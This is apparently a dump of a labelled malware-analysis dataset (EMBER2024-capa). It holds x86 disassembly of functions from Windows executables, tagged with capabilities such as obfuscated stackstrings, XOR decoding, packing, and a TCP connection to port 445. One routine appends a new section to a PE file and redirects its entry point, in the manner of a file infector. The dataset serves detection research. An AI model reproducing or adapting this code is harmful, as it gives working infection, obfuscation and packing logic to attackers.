joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4038a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov cl, 0x65
mov al, 0x74
mov dl, 0x41
push 0x405328
mov byte [esp + 4], 0x47
mov byte [esp + 5], cl
mov byte [esp + 6], al
mov byte [esp + 7], 0x46
mov byte [esp + 8], 0x69
mov byte [esp + 9], 0x6c
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], dl
mov byte [esp + 0xc], al
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x11], 0x75
mov byte [esp + 0x12], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x73
mov byte [esp + 0x15], dl
mov byte [esp + 0x16], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403925
mov edx, dword [esp + 0x18]
push edx
call eax
add esp, 0x14
ret
mov eax, dword [esp + 0x18]
add esp, 0x14
ret

Function at 0x403930
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov cl, 0x13
mov dl, byte [eax + 0x40536c]
xor dl, cl
mov byte [eax + 0x40536c], dl
inc eax
cmp eax, 0x5dc
jb 0x403934
xor eax, eax
ret

Function at 0x403950
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov cl, 0x13
mov dl, byte [eax + 0x405948]
xor dl, cl
mov byte [eax + 0x405948], dl
inc eax
cmp eax, 0x8c0
jb 0x403954
xor eax, eax
ret

Function at 0x403ac0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
xor esi, esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403ade
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x403ade
mov eax, dword [eax]
pop esi
ret
mov eax, esi
pop esi
ret

Function at 0x403af0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x403b10
mov eax, 1
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
push eax
call fcn.00403ac0
add esp, 4
mov word [esp + 4], 2
mov dword [esp + 8], eax
push 0x1bd
call sub.WS2_32.dll_htons
lea ecx, [esp + 4]
push 0x10
push ecx
push esi
mov word [esp + 0x12], ax
call sub.WS2_32.dll_connect
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x10
ret

Function at 0x403e90
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x104
push 0x407178
call fcn.00402280
push 0x58
push 0x43
call fcn.00403970
add esp, 0x10
push eax
push 0x59
push 0x42
call fcn.00403970
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.00403970
add esp, 8
push eax
push 0x407178
push 0x406524
push 0x4074b8
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x4074b8
call fcn.004039b0
add esp, 0x1c
push 0x407290
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7d0
call esi
push 0
push 0
push 0
push 0x403b50
push 0
push 0
call edi
jmp 0x403f16
Function at 0x409651
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a344]
jne 0x40965b
repz ret
jmp fcn.0040e03c

Function at 0x41226c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a344]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b6df
and dword [ebp - 0x14], 0
cmp dword [0x43d70c], 0
mov dword [ebp - 0x18], eax
jne 0x41231f
push 0x403774
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4123c7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403768
push ebx
call edi
test eax, eax
je 0x4123c7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403758
push ebx
mov dword [0x43d70c], eax
call edi
push eax
call esi
push 0x403744
push ebx
mov dword [0x43d710], eax
call edi
push eax
call esi
push 0x403728
push ebx
mov dword [0x43d714], eax
call edi
push eax
call esi
mov dword [0x43d71c], eax
test eax, eax
je 0x41231f
push 0x403710
push ebx
call edi
push eax
call esi
mov dword [0x43d718], eax
mov eax, dword [0x43d718]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412378
cmp dword [0x43d71c], ecx
je 0x412378
push eax
call esi
push dword [0x43d71c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412378
test ebx, ebx
je 0x412378
call edi
test eax, eax
je 0x41236f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41236f
test byte [ebp - 8], 1
jne 0x412378
or dword [ebp + 0x10], 0x200000
jmp 0x4123ab
mov eax, dword [0x43d710]
cmp eax, dword [ebp - 0x18]
je 0x4123ab
push eax
call esi
test eax, eax
je 0x4123ab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4123ab
mov eax, dword [0x43d714]
cmp eax, dword [ebp - 0x18]
je 0x4123ab
push eax
call esi
test eax, eax
je 0x4123ab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43d70c]
call esi
test eax, eax
je 0x4123c7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4123c9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409651
leave
ret
Function at 0x4141e0
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.00413840
cmp dword [0x7dd864], 0x37
jne 0x414271
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0x403f68
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [esp + 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x403fc4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
lea edx, [esp + 0xc04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x7de448]
mov edx, dword [0x7da8c4]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret
Function at 0x413eb4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a94
xor eax, eax
push ebp
push 0x413f8d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x413fa4
call fcn.00403780
cmp dword [0x416b58], 0
jne 0x413ef5
call fcn.00413e20
push 2
push 0
push 0
mov eax, dword [0x416b58]
push eax
call sub.kernel32.dll_SetFilePointer_1
cmp eax, 0xffffffff
jne 0x413f10
call fcn.00413e20
lea edx, [ebp - 0xc]
mov al, byte [0x416b52]
call fcn.00405560
push dword [ebp - 0xc]
push 0x414034
push dword [ebp - 4]
push 0x414040
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403964
mov byte [0x416b52], 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.004038a4
push eax
lea eax, [ebp - 4]
call fcn.00403afc
push eax
mov eax, dword [0x416b58]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x413f6f
mov dword [ebp - 8], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413f94
lea eax, [ebp - 0xc]
call fcn.0040372c
lea eax, [ebp - 4]
call fcn.0040372c
inc ebx

Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x13a85b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0xf4c015
lea edi, [esi - 0xb4b015]
push edi
or ebp, 0xffffffff
jmp 0x13a85d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x13a85d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x13a85c8
mov eax, 1
add ebx, ebx
jne 0x13a85eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x13a85fc
jne 0x13a861b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x13a861b
dec eax
add ebx, ebx
jne 0x13a8608
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x13a85e0
add ebx, ebx
jne 0x13a8617
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x13a866d
xor ecx, ecx
sub eax, 3
jb 0x13a8633
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x13a86a2
sar eax, 1
mov ebp, eax
jmp 0x13a863e
add ebx, ebx
jne 0x13a863e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x13a860c
inc ecx
add ebx, ebx
jne 0x13a864c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x13a860c
add ebx, ebx
jne 0x13a8659
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x13a864e
jne 0x13a866a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x13a864e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x13a868c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x13a867e
jmp 0x13a85ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x13a868c
add edi, ecx
jmp 0x13a85ce
pop esi
mov edi, esi
mov ecx, 0x23ac3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x13a86aa
cmp byte [edi], 0x2e
jne 0x13a86aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x13a86af
lea edi, [esi + 0xf69000]
mov eax, dword [edi]
or eax, eax
je 0x13a871e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xfa8000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xfa8028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x13a86dc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xfa8030]
or eax, eax
je 0x13a8718
mov dword [ebx], eax
add ebx, 4
jmp 0x13a86f9
call dword [esi + 0xfa802c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x13a8758
cmp al, 0xef
ja 0x13a8742
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x13a8724
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
or eax, eax
jne 0x13a8731
mov eax, dword [edi]
add edi, 4
jmp 0x13a8731
mov ebp, dword [esi + 0xfa8034]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x13a878c
sub esp, 0xffffff80
jmp 0x4605b0
Function at 0x4010c1
Capabilities:
Parse pe header

Disassembly:
call 0x401005
pop ebx
sub ebx, 0x404005
call 0x4010c1
call fcn.004010ff
call fcn.00401448
lea esi, [ebx + 0x405657]
push 0x104
push esi
push 0
mov eax, 0x763314b1
call eax
lea edi, [ebx + 0x4055a1]
push 0x32
push edi
mov eax, 0x7634b66c
call eax
add eax, 0x10
mov dword [ebx + 0x4055e1], eax
lea eax, [ebx + 0x40575b]
push eax
push edi
mov eax, 0x76352b7a
call eax
push esi
push edi
mov eax, 0x76333e8e
call eax
or eax, eax
je 0x40107d
call fcn.00401ff5
call fcn.00402528
call fcn.00402560
push dword [ebx + 0x40564f]
ret
lea eax, [ebx + 0x405565]
push eax
push 0
push 0
mov eax, 0x76334c6b
call eax
lea eax, [ebx + 0x405059]
push 0
push 0
push ebx
push eax
push 0
push 0
mov eax, 0x763334d5
call eax
lea eax, [ebx + 0x404486]
push 0
push 0
push ebx
push eax
push 0
push 0
call dword [ebx + 0x4040a0]
call fcn.00401808
mov edi, dword [esp + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x4010e1
mov esi, edi
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
jne 0x4010e1
jmp 0x4010f8
sub edi, 0x10000
cmp edi, 0x70000000
jae 0x4010f6
mov edi, 0xbff70000
jmp 0x4010f8
jmp 0x4010cb
mov dword [ebx + 0x405653], edi
ret
Function at 0x40167f
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
pushal
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
mov eax, 0x763353c6
call eax
cmp eax, 0xffffffff
je 0x401803
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
mov eax, 0x76335506
call eax
or eax, eax
je 0x4017fa
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push dword [ebp - 8]
mov eax, 0x763318f1
call eax
or eax, eax
je 0x4017f1
mov dword [ebp - 0xc], eax
mov esi, eax
cmp word [esi], 0x5a4d
je 0x4016f8
jmp 0x4017e7
cmp word [esi + 0x18], 0x40
je 0x401704
jmp 0x4017e7
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x401714
jmp 0x4017e7
cmp word [esi + 0x5c], 2
je 0x401720
jmp 0x4017e7
cmp word [esi + 0x1a], 0x815
jne 0x40172d
jmp 0x4017e7
mov eax, dword [esi + 0x28]
add eax, dword [esi + 0x34]
mov dword [ebx + 0x40564f], eax
movzx eax, word [esi + 6]
mov ecx, 0x28
mul ecx
lea edi, [esi]
sub edi, dword [ebp - 0xc]
add eax, edi
add eax, 0x18
movzx edi, word [esi + 0x14]
add eax, edi
mov edi, eax
add edi, dword [ebp - 0xc]
add eax, 0x28
cmp eax, dword [esi + 0x54]
jbe 0x401766
jmp 0x4017e7
inc word [esi + 6]
mov dword [edi], 0x736a78
push dword [esi + 0x50]
pop dword [edi + 0xc]
mov eax, 0x1a54
mov dword [edi + 8], eax
mov ecx, dword [esi + 0x3c]
div ecx
inc eax
mul ecx
mov dword [edi + 0x10], eax
lea eax, [edi - 0x14]
mov eax, dword [eax]
lea ecx, [edi - 0x18]
mov ecx, dword [ecx]
add eax, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x24], 0xe0000020
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0x38]
div ecx
inc eax
mul ecx
add eax, dword [esi + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x28], eax
mov word [esi + 0x1a], 0x815
push 0
push 0
push dword [edi + 0x14]
push dword [ebp - 4]
mov eax, 0x763317d1
call eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x10]
lea eax, [ebx + 0x404000]
push eax
push dword [ebp - 4]
mov eax, 0x76331282
call eax
push dword [ebp - 0xc]
mov eax, 0x76331826
call eax
push dword [ebp - 8]
call dword [ebx + 0x405592]
push dword [ebp - 4]
call dword [ebx + 0x405592]
popal
leave
ret 4
Function at 0x40199b
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
xor ecx, ecx
mov dword [ebp - 4], ecx
cld

Function at 0x10006538
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4febec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.10017ad3
mov dword [esi], 0x5014dc
lea edi, [esi + 0x3c]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x30]
mov dword [edi], 0x500918
call fcn.10004220
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 1
call fcn.10004220
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 2
call fcn.10004220
lea ecx, [edi + 0x6c]
mov byte [esp + 0x18], 3
call fcn.10004220
mov dword [edi], 0x500910
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 4
call fcn.100161ad
mov dword [esi + 0xd8], 0
mov dword [esi + 0xd4], 0x5009e0
mov eax, dword [0x507f3c]
mov dword [esi + 0xdc], eax
lea ecx, [esi + 0xe0]
mov byte [esp + 0x18], 7
call fcn.10004220
lea ecx, [esi + 0xf4]
mov byte [esp + 0x18], 8
call fcn.100161ad
mov ecx, dword [esp + 0x10]
mov dword [esi], 0x500920
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x10006750
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4fecb4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x500920
lea ecx, [esi + 0xf4]
mov dword [esp + 0x18], 5
call fcn.100161d6
lea ecx, [esi + 0xe0]
mov byte [esp + 0x18], 4
mov dword [ecx], 0x5004d4
call fcn.10004420
lea ecx, [esi + 0xdc]
mov byte [esp + 0x18], 3
call fcn.1001780e
lea ecx, [esi + 0xd4]
mov dword [esp + 0xc], ecx
mov dword [ecx], 0x50125c
mov byte [esp + 0x18], 6
call fcn.1001c1c7
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 1
call fcn.100161d6
lea edi, [esi + 0x3c]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x6c]
mov byte [esp + 0x18], 9
mov dword [ecx], 0x5004d4
call fcn.10004420
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 8
mov dword [ecx], 0x5004d4
call fcn.10004420
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x5004d4
call fcn.10004420
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 0
mov dword [ecx], 0x5004d4
call fcn.10004420
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.10015eb7
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x403780
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, dword [0x1ac898c]
mov ecx, dword [0x1ac4ef8]
sub esp, 0xc2c
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403897
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x1ac898c], 0x959
jne 0x40387d
push 0
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x18]
push eax
push 0x402cb0
push 0
lea ecx, [esp + 0x444]
push ecx
push 0
push 0x402cc4
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
lea edx, [esp + 0x1c]
push edx
push 0
call esi
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [esp + 0x83c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call esi
push 0
push 0x402cd0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0x402d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [esp + 0x10]
push edx
call fcn.004035e0
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x4037c0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc2c
ret
Function at 0x4074aa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431238]
jne 0x4074b4
repz ret
jmp fcn.0040c8b8

Function at 0x40d3af
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409c45
and dword [ebp - 4], 0
cmp dword [0x436998], 0
mov ebx, eax
jne 0x40d460
push 0x4024a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d511
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402498
push edi
call esi
test eax, eax
je 0x40d511
push eax
call fcn.00409bd3
mov dword [esp], 0x402488
push edi
mov dword [0x436998], eax
call esi
push eax
call fcn.00409bd3
mov dword [esp], 0x402474
push edi
mov dword [0x43699c], eax
call esi
push eax
call fcn.00409bd3
mov dword [esp], 0x402458
push edi
mov dword [0x4369a0], eax
call esi
push eax
call fcn.00409bd3
pop ecx
mov dword [0x4369a8], eax
test eax, eax
je 0x40d460
push 0x402440
push edi
call esi
push eax
call fcn.00409bd3
pop ecx
mov dword [0x4369a4], eax
mov eax, dword [0x4369a4]
cmp eax, ebx
je 0x40d4b8
cmp dword [0x4369a8], ebx
je 0x40d4b8
push eax
call fcn.00409c4e
push dword [0x4369a8]
mov esi, eax
call fcn.00409c4e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d4b8
test edi, edi
je 0x40d4b8
call esi
test eax, eax
je 0x40d4af
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d4af
test byte [ebp - 0xc], 1
jne 0x40d4b8
or dword [ebp + 0x10], 0x200000
jmp 0x40d4f1
mov eax, dword [0x43699c]
cmp eax, ebx
je 0x40d4f1
push eax
call fcn.00409c4e
pop ecx
test eax, eax
je 0x40d4f1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d4f1
mov eax, dword [0x4369a0]
cmp eax, ebx
je 0x40d4f1
push eax
call fcn.00409c4e
pop ecx
test eax, eax
je 0x40d4f1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x436998]
call fcn.00409c4e
pop ecx
test eax, eax
je 0x40d511
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d513
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4015e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4028af
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], edi
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x40], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x40], 2
call sub.MFC42.DLL_CString::CString
mov bl, 3
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], bl
call sub.MFC42.DLL_CString::Empty
add esi, 0xe0
lea ecx, [esp + 0xc]
push esi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call sub.MFC42.DLL_CString::operator_1
push 0x2c
lea ecx, [esp + 0x10]
inc edi
call sub.MFC42.DLL_CString::Find
mov esi, eax
lea eax, [esp + 0x18]
push esi
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 4
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], bl
call fcn.0040234c
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x1c]
mov eax, dword [ecx - 8]
lea ecx, [esp + 0xc]
sub eax, esi
dec eax
push eax
push edx
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x44], 5
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], bl
call fcn.0040234c
cmp esi, 0xffffffff
jne 0x4016f1
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_atof]
fstp qword [esp + 0x30]
add esp, 4
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator_1
fld qword [esp + 0x2c]
jmp 0x4016ff
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.MSVCRT.dll_atof]
add esp, 4
mov eax, dword [esp + 0x10]
fadd qword [esp + 0x24]
mov ecx, dword [eax - 8]
test ecx, ecx
fstp qword [esp + 0x24]
jne 0x401713
dec edi
cmp esi, 0xffffffff
jne 0x401658
mov dword [esp + 0x1c], edi
lea eax, [esp + 0x14]
fild dword [esp + 0x1c]
fdivr qword [esp + 0x24]
fstp qword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
push ecx
push edx
push str._.4f
push eax
call sub.MFC42.DLL_CString::Format
mov esi, dword [ebp + 8]
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x20], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x40], 2
call fcn.0040234c
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 1
call fcn.0040234c
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], 0
call fcn.0040234c
mov ecx, dword [esp + 0x38]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4